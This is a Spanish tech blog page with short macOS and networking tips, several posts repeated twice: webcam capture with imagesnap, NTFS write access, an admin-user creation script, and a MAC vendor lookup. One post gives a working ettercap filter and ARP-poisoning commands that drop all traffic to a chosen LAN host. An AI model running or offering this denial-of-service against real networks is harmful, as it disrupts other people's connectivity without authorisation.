--------------------------------------- Cautivo en las selvas de occidente te trajeron a Roma, esclavo, te dieron el oficio de herrero y haces cadenas. El hierro al rojo que sacas de los hornos lo puedes moldear como quieras, puedes hacer espadas para que tus paisanos rompan sus cadenas, pero tu, ese esclavo, haces cadenas, mas cadenas. Joseba Sarrionaindia. ---------------------------------------
martes, 10 de diciembre de 2013
Buscador del fabricante de una tarjeta ethernet/wifi/Bluetooth por dirección MAC
En http://www.coffer.com/mac_find/ encontramos un buscador del fabricante de la tarjeta ethernet, wifi o bluetooth por la dirección MAC.
lunes, 30 de abril de 2012
Captura de foto de la webcam en Macos X desde Terminal
ImageSnap te permite capturar fotos de una cámara iSight u otra fuente de vídeo. Puede que recuerde a la herramienta isightcapture.
Copia imagesnap en el directorio donde quieras dejar las imagenes y llamalo con
$ ./imagesnap nombrearchivo.jpg.
Para comprobar que funciona en tu macquina puedes listar las webcam con el la opcion -l del comando:
$ imageSnap -l
Aqui todas las opciones:
USAGE: imagesnap [options] [filename]
Version: 0.2.5
Captures an image from a video device and saves it in a file.
If no device is specified, the system default will be used.
If no filename is specfied, snapshot.jpg will be used.
Supported image types: JPEG, TIFF, PNG, GIF, BMP
-h This help message
-v Verbose mode
-l List available video devices
-t x.xx Take a picture every x.xx seconds
-q Quiet mode. Do not output any text
-w x.xx Warmup. Delay snapshot x.xx seconds after turning on camera
-d device Use named video device
miércoles, 11 de abril de 2012
Comando desde Terminal para ver configuracion del sistema.
Con el comando system_profiler desde una shell de la Terminal de macos x podremos ver la configuración de hardware y red de la máquina. Útil si estamos conectados en remoto desde una consola.
lunes, 26 de marzo de 2012
ISP's por paises.
En la web http://www.ostamyy.com/ podemos encontrar una lista de compañías que ofrecen conexión a internet ordenadas por paises.
http://www.ostamyy.com/ISPs/
http://www.ostamyy.com/ISPs/
sábado, 3 de marzo de 2012
DoS trafico de red en LAN con filtro ettercap
Primero se crea el filtro con un editor de texto
if (ip.src=="ip objetivo" || ip.dst=="ip objetivo) {
drop();
kill();
msg("Denegacion\n");
}
Guardamos el filtro con la extension .eff
Compilamos en filtro para ettercap con el comando
etterfilter nombrearchivo.eff -o nombrearchivo.ef
Una vez creado se lanza desde ettercap con el comando
ettercap -T -q -F nombrearchivo.ef -M ARP /ip objetivo/ //
Los paquetes enviados a la ip objetivo los recibira nuestra maquina que los desechara inutilizando la conexion de red de la maquina objetivo.
if (ip.src=="ip objetivo" || ip.dst=="ip objetivo) {
drop();
kill();
msg("Denegacion\n");
}
Guardamos el filtro con la extension .eff
Compilamos en filtro para ettercap con el comando
etterfilter nombrearchivo.eff -o nombrearchivo.ef
Una vez creado se lanza desde ettercap con el comando
ettercap -T -q -F nombrearchivo.ef -M ARP /ip objetivo/ //
Los paquetes enviados a la ip objetivo los recibira nuestra maquina que los desechara inutilizando la conexion de red de la maquina objetivo.
martes, 28 de febrero de 2012
Acceso de lectura y escritura para las particiones NTFS en mac os x SnowLeopard
Desde la terminal:
diskutil info /Volumes/NOMBRE_DEL_DISCO
Deberemos copiar el UUID que nos devuelve el comando. Lo siguiente es comprobar si el fichero /etc/fstab existe
$ ls /etc/ | grep fstab
si existe, haremos una copia de seguridad
$ cp /etc/fstab ~/Desktop/
editamos el fichero con:
$ sudo vim /etc/fstab
y añadimos la línea
UUID=uuid_del_disco none ntfs rw
salvamos los cambios y reiniciamos. Ahora podremos escribir sobre una partición NTFS.
Visto y medio fusilado de http://comandogum.com/2010/02/snowleopard-permite-la-escritura-sobre-discos-con-formato-ntfs.gum.html
diskutil info /Volumes/NOMBRE_DEL_DISCO
Deberemos copiar el UUID que nos devuelve el comando. Lo siguiente es comprobar si el fichero /etc/fstab existe
$ ls /etc/ | grep fstab
si existe, haremos una copia de seguridad
$ cp /etc/fstab ~/Desktop/
editamos el fichero con:
$ sudo vim /etc/fstab
y añadimos la línea
UUID=uuid_del_disco none ntfs rw
salvamos los cambios y reiniciamos. Ahora podremos escribir sobre una partición NTFS.
Visto y medio fusilado de http://comandogum.com/2010/02/snowleopard-permite-la-escritura-sobre-discos-con-formato-ntfs.gum.html
viernes, 24 de febrero de 2012
Shell script para creación de usuario en macos x desde la Terminal
#!/bin/bash
# This script creates a user account under Mac OS X
# (tested with 10.5 and 10.6; likely works with 10.4 but not earlier)
# Written by Clinton Blackmore, based on work at
# http://serverfault.com/questions/20702
# === Typically, this is all you need to edit ===
USERNAME=joeadmin
FULLNAME="Joe Admin"
PASSWORD="hard_to_hack"
# A list of (secondary) groups the user should belong to
# This makes the difference between admin and non-admin users.
# Leave only one uncommented
#SECONDARY_GROUPS="" # for a non-admin user
SECONDARY_GROUPS="admin _lpadmin _appserveradm _appserverusr" # for an admin user
# ====
if [[ $UID -ne 0 ]]; then echo "Please run $0 as root." && exit 1; fi
# Find out the next available user ID
MAXID=$(dscl . -list /Users UniqueID | awk '{print $2}' | sort -ug | tail -1)
USERID=$((MAXID+1))
# Create the user account
dscl . -create /Users/$USERNAME
dscl . -create /Users/$USERNAME UserShell /bin/bash
dscl . -create /Users/$USERNAME RealName "$FULLNAME"
dscl . -create /Users/$USERNAME UniqueID "$USERID"
dscl . -create /Users/$USERNAME PrimaryGroupID 20
dscl . -create /Users/$USERNAME NFSHomeDirectory /Users/$USERNAME
dscl . -passwd /Users/$USERNAME $PASSWORD
# Add use to any specified groups
for GROUP in $SECONDARY_GROUPS ; do
dseditgroup -o edit -t user -a $USERNAME $GROUP
done
# Create the home directory
createhomedir -c > /dev/null
echo "Created user #$USERID: $USERNAME ($FULLNAME)"
# This script creates a user account under Mac OS X
# (tested with 10.5 and 10.6; likely works with 10.4 but not earlier)
# Written by Clinton Blackmore, based on work at
# http://serverfault.com/questions/20702
# === Typically, this is all you need to edit ===
USERNAME=joeadmin
FULLNAME="Joe Admin"
PASSWORD="hard_to_hack"
# A list of (secondary) groups the user should belong to
# This makes the difference between admin and non-admin users.
# Leave only one uncommented
#SECONDARY_GROUPS="" # for a non-admin user
SECONDARY_GROUPS="admin _lpadmin _appserveradm _appserverusr" # for an admin user
# ====
if [[ $UID -ne 0 ]]; then echo "Please run $0 as root." && exit 1; fi
# Find out the next available user ID
MAXID=$(dscl . -list /Users UniqueID | awk '{print $2}' | sort -ug | tail -1)
USERID=$((MAXID+1))
# Create the user account
dscl . -create /Users/$USERNAME
dscl . -create /Users/$USERNAME UserShell /bin/bash
dscl . -create /Users/$USERNAME RealName "$FULLNAME"
dscl . -create /Users/$USERNAME UniqueID "$USERID"
dscl . -create /Users/$USERNAME PrimaryGroupID 20
dscl . -create /Users/$USERNAME NFSHomeDirectory /Users/$USERNAME
dscl . -passwd /Users/$USERNAME $PASSWORD
# Add use to any specified groups
for GROUP in $SECONDARY_GROUPS ; do
dseditgroup -o edit -t user -a $USERNAME $GROUP
done
# Create the home directory
createhomedir -c > /dev/null
echo "Created user #$USERID: $USERNAME ($FULLNAME)"
Suscribirse a:
Entradas (Atom)